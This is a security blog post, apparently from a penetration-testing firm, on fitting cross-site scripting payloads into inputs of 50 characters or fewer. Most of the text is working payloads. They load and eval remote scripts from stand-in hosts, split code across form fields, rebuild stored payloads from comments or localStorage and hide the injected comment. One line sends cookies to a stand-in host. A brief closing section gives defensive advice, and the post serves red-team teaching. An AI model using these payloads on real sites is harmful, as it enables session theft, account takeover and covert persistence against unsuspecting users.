Skip to Main Content
May 02, 2023

Cross Site Smallish Scripting (XSSS)

Written by Luke Bremer

Having small XSS payloads or ways to shorten your payloads ensures that even the smallest unencoded output on a site can still lead to account compromise. A typical image tag with a onerror attribute takes up around 35 characters by itself.

<img src=1 onerror="alert('XSS')">

If you would like to prove you can steal credentials or change the source of a page, you may need to have a few different methods in your pocket to get a working payload if your input is limited to say, 50 characters. What can we do with those remaining 15-16 characters?

As a disclaimer, the domains used in this article are examples and not explicitly owned by me or TrustedSec. If you end up trying any of the payloads mentioned in this blog, it is advised you change the domain or IP used to an endpoint you are authorized to use.

Output encoding and sanitization are typical recommendations to prevent client-side vulnerabilities. As an additional security measure, user inputs have character limitations to prevent misuse. For example, it might be a zip code that only allows a 10-character maximum.

Another effective way to prevent XSS is by configuring a Content Security Policy (CSP). A correctly configured CSP can prevent external script execution and other content from retrieving data from external domains. A CSP can also prevent scripts from being executed for sources that have not exclusively been defined. However, due to the amount of third-party software in modern applications, most CSPs are not very strict and still allow an attacker the ability to perform XSS. A combination of these security configurations can prevent larger XSS payloads from executing.

Let’s consider the following: A site has a blog that you can enter comments into. To submit a comment, you are required to put your first name, last name, and email address, as well as what comment you would like to add. The site encodes any input you enter into the comments sections to prevent XSS.

Through testing the application, you find that the first and last name fields are vulnerable to XSS and have character limitations of no more than 50 characters. In testing, you find you can submit your last name with a common payload to display an alert.

Payload:

<img src=1 onerror=alert('XSS')>
Figure 1 - XSS Payload in Input
Figure 2 - XSS Alert in Displayed Username

So, we’re done. We got XSS, and we can move on. But we can’t make a request on behalf of an admin or change the page source with an alert. Let’s try to actually show some impact. Instead of implying what could be done with an XSS vulnerability, let’s create a proof-of-concept.

So first off, we can try to load some external scripts since we don’t have enough space to write out the few lines of JavaScript it might take to make a fetch request on behalf of the user. We can do this by adding a script tag.

<script src="https://www.example.com/XSS.js"></script>

Right off the bat, we run into an issue. This payload is too long for the user’s last name. So, what are our options? First, try to shorten the payload by getting rid of anything that’s not needed.

Something more like this:

<script src=http:example.com/x.js></script>

We removed the quotes around the payload because similar to a command line function. As long as you don’t have any spaces in your URL, the browser will add them for you. Next, we changed our protocol from https to http. In this case, we can assume that we control the content on the server that we are setting as the source, and because we can control incoming requests, we can easily set up a URL redirect for any http request to https. In some cases, the browser may throw a mixed-content error due to the fact you are trying to load in content from an unencrypted source. In those cases, it may be required to leave the protocol as https.

Then, we removed the forward slashes from the URL scheme. We did this because if we have a valid protocol followed by a colon, most browsers will add the slashes before the domain path.

Now to shorten the domain and path of the URL. There are many ways to do this, and the above payload could be even shorter if we had control of a short domain name and removed any subdomains. Furthermore, because we control the external domain, we could make our site return a JavaScript content type and serve up our XSS payload on the home page of the domain to eliminate the path completely.

Making the homepage return a JavaScript file in Express.js can look something like this:

Figure 3 - Hosting a JavaScript File as the Homepage
Figure 4 - Contents of test.js

With all of these redactions, we end up with something like the following script tag with only 34 Characters.

<script src=http:abcd.ef></script>

Another thing that can be done is that modern browsers are very helpful and try to add any missing or incomplete tags. For example, if a label is meant to be bolded but the end tag is missing, the browser will add one.

So,

<label><b>Bold Me</label>

Will be changed to:

<label><b>Bold Me></b><label>

In some cases, we can use this to our advantage by not adding end tags to our payload but do this at your own risk. Depending where the XSS is located on the page, it may “eat” sections of the original page content. If no ending script tag is added, the browser will end up putting the content that is after our starting script tag into the body of our tag. This can make the page not render properly. In some cases, this may include only a few lines of HTML and other times it will contain the entire rest of the page. It depends on where the next script tag is located after our XSS. An example payload would look like this:

<script src=http:example.com/x.js>

But may render like this:

Figure 5 - HTML being added to XSS Script Body

Our test site had two (2) paragraphs and two (2) scripts directly after our XSS payload and, because we didn’t include an ending script tag, the first paragraph and script were moved into the body of our payload. The browser will still try to pull our external source, but we end up removing those two (2) HTML elements from the page.

When a source (src) attribute is added to a script tag, most browsers will not execute any content contained between the script start and end tags. It will instead, try to load the content from the external source that is provided.

Our goal was less than 50 characters and now that we have our payload on a diet, we can add our script tag as our last name and submit our payload. This time though, we do not see an alert or print dialog, even though our external server is hosting a valid JavaScript file.

Checking the source of the page, we can see our script was added correctly, so what gives? In this case, the content is being added to the page with innerHTML which doesn’t execute script tags but would allow for tag attributes such as onerror to execute.

Figure 6 - Script Tag Not Executing for innerHTML

So how can we pull in external scripts then? If script tags are not allowed or blocked by an application firewall, using an import or the fetch function can be useful. If we set our last name to an image tag with some JavaScript, we should be in business.

With a fetch, we can pull content from a source and then evaluate it.

<img src/onerror="fetch('http:example.com/X.js').then((r)=>r.text()).then(t=>eval(t))">

But that uses up a lot of characters and in this case, our payload is more than our input maximum, so let’s use an import instead.

<img src/onerror=import('http:abcd.ef')>

Or we can use an IP:

<img src/onerror=import('http:10.10.10.10')>

Something to note is that the browser will typically not load external resources if the external server does not have CORS configured. So, at a minimum, our external server needs to return an Access-Control-Allow-Origin header with a wild card (*) or at least the domain of the site we are attacking.

Adding a CORS response in Express.js can look something like this:

Figure 7 - Adding CORS to Express

It can also be common for sites to use JavaScript libraries such as jQuery. If the site has already loaded in resources for a library, you may be able to use features of that library in your XSS. For example, the getScript function in jQuery can load an external resource:

<img src/onerror=$.getScript('http:example.com')>

So now that we have a working XSS payload under 50 characters, we can successfully pull external resources. This allows much larger payloads to be executed, and we can change the payload without having to touch the vulnerable application more than once.

But what if we still wanted to use a script tag to execute our external payload? We could dynamically add one (1) to the end of the page and set its source to our external domain, but the payload would be over 100 characters.

<img src/onerror=s=document.createElement('script');s.src='http:example.com/X.js';document.body.appendChild(s)>

Even with a shortened domain and removed URL path, we likely wouldn’t be able to fit this into our input that we know to be vulnerable.

Let’s start to combine some inputs to increase our payload size. We know we have 50 characters per input, and the first name and last name values seem to just be appended to each other with a space in between when they are displayed in our submission table. 

For the most part, as long as we don’t split the payload in the middle of a function name, we should be able to add a space or a comment in the middle of our payload while still allowing it to execute. Just in case there is other text in between our two (2) inputs, we end our first name with the start of a multiline comment (/*) and then we start our last name with the end of the comment (*/).

<img src/onerror=”alert/**/(‘XSS’)”>Test

When rendered in the browser, you can see there is a space that was added in our comment section, but our payload still executes.

Figure 8 - Rendered Comment in XSS Payload
Figure 9 - Multiple Input XSS

With this, we can increase our payload size to 100 characters, but we need to account for our starting and ending comment. We really only have 96 characters available, and we can only have 50 characters per input. This still doesn’t allow us to run payloads over 100 characters… or does it? As far as we know, the comments input does not have a character limit, but it is properly encoded. What if we use the comments as our script's body and write a smaller payload in our first and last name? Here is an example:

Figure 10 - Comment Evaluation to Show an Alert

We add a small XSS payload that is split right after the getElementById text, and we add some JavaScript as our comment. We then get the value of our comment by pulling it from the comment table cell. Once we have our comment, we use the eval function to execute whatever JavaScript we have added to the comments. In this case, it’s a simple alert and we can confirm it does execute and looking at the browser source, we can see the whole payload combined. 

<img src="" onerror="eval(document.getElementById/* */('ctable').rows[2].cells[2].innerHTML)">Test

This can be done with any text that is on the site and does not need to be on the same page as the XSS. Typically, this works best with stored user input that can be controlled like an 'About Me' section on a user’s profile or a notes section. If you wanted to get super creative, you could pull any page html and use a regex or substring function to pull sections from the page to slowly build out a string to eval. This would make your initial payload quite large, however.

Because we can execute any controlled text, we can add a comment that contains a large payload like the one from earlier that dynamically adds a script to the end of the page.

Figure 11 - Dynamically Adding Script Tag

Once we submit our comment and inspect the page HTML, we can see a script tag has been added right above the ending body tag of the page.

Figure 12 - Script Tag Added to End of Page

This script tag will now be added for any users that view this page and will load content from our external site. Now you may be thinking, "Well anyone could see that comment then. That’s kind of shady right?" Sure, that’s true, and if you want to clean that up after the fact, you can add some additional JavaScript to your comment or on your external server that would run after the dynamic script tag was added. Something like this should do just fine:

document.getElementById('ctable').rows[2].cells[2].innerHTML = "Totally not JavaScript"

Or you can add a style to hide your comment altogether.

document.getElementById('ctable').rows[2].style.display="none";

This will still allow our script to be embedded in the page. Once it is executed, we can change our comment to something less conspicuous. Of course, this can be much more dynamic. You could add a canary string to your comment and then in your external JavaScript, change any comments that contain that string. If you’re not aware, a single script tag added to the bottom of the page can change any content on the page. For this example, changing a comment value by using a static row index works fine.

So that’s all well and good, but what if there is a CSP in place that limits external scripts to only a few trusted domains?

Well then don’t pull from external domains. You can easily use the previous method of evaluating text from a comment. Instead of the comment adding a script tag to an external resource, make the content the same as what would have been on the external server. Doing this doesn’t make any requests outside of the current domain and unless the CSP has a correctly implemented script-src, inline and eval statements will execute. A large amount of CSP I have seen only restricts script interfaces via the connect-src. 

<meta http-equiv="Content-Security-Policy" content="connect-src http://*.mysite.com">

This does limit what domains can return data with fetch and XHR requests but still allows inline execution.

If you have ever set up a more advanced XSS payload, they can get quite complex and may cause JavaScript errors when trying to run nested sections. For compatibility, we can base64 the content before we add it as a comment, and then decode it before execution. For example, let’s change our comment to a base64 encoded value of an alert and change our first and last name to decode the text before executing. 

Figure 13 - Alert from Base64 comment

We do have to change up our payload because we are adding the atob (Base64 decode) function. In this case, we set the base64 decoded value of our comment to a variable and then execute that string with eval. The decoded payload would be alert(‘XSS’).

First Name:

<img src/onerror="a=atob(document.getElementById/*

Last Name:

*/('ctable').rows[2].cells[2].innerHTML);eval(a)">

Finally, if there isn’t any other place to pull from or write to on the site, you can build out a payload and add it to the browser storage. For example, we can post three (3) comments that will build out a fetch statement and put it in local storage. We would split each line on the comment, making the first half of the payload our first name and the last half, our last name.

<img src/onerror="localStorage.setItem(1,/**/'fetch(\'http:example.com/X.js\')')">
<img src/onerror="a=localStorage;a.setItem(1,/**/a.getItem(1)+'.then((r)=>r.text())')">
<img src/onerror="a=localStorage;a.setItem(1,/**/a.getItem(1)+'.then(t=>eval(t))')">

The local storage value would end up looking like this:

Figure 14 - Local Storage JavaScript Value

Then, if we set our first name to eval what is in storage, we can execute our payload.

<img src/onerror="eval(localStorage.getItem(1))">

This means that if someone else were to view our comments, the site would execute all four (4) of our scripts, which would then execute our fetch as the current user.

Local storage usually holds 5MB or so of content, so size limits shouldn’t be an issue.

But do we really need to go through all of the trouble of loading in an external resource? What if I just want the user’s session token? Okay, let’s assume the site did not set any flags on its cookies. We could send data off to our server instead of pulling data from it.

<img src/onerror="a=new Image;a.src=/**/'http:abcd.ef?'+btoa(document.cookie)">

But it depends how the application is configured. If the session cookies have httponly flags set (as they should), then you are not going to be able to get those cookie values using JavaScript. You may have to make a few requests using fetch or XHR to force the user to change their email so you can reset their password, or maybe add additional users to the application.

Of course, you can change any of these payloads to pull from different places or use different events other than onerror to make some of these payloads even smaller. It’s all based on where the XSS is being executed and what the common functionality of the application is.

In conclusion for the Red Team, you should have several ways to pull scripts from external sources even if your input is limited. Additionally, you can pull from areas within the application or storage to expand your inline scripts.

For the Blue Team, use a CSP and make sure your application firewall has XSS protection and that it is turned on. Ultimately, if a firewall is stopping common payloads and policy settings can block inline scripts and eval statements, it makes it much harder to make an XSS finding impactful. As always, output encoding is your friend, but if you miss a section, your firewall and policy settings can have your back.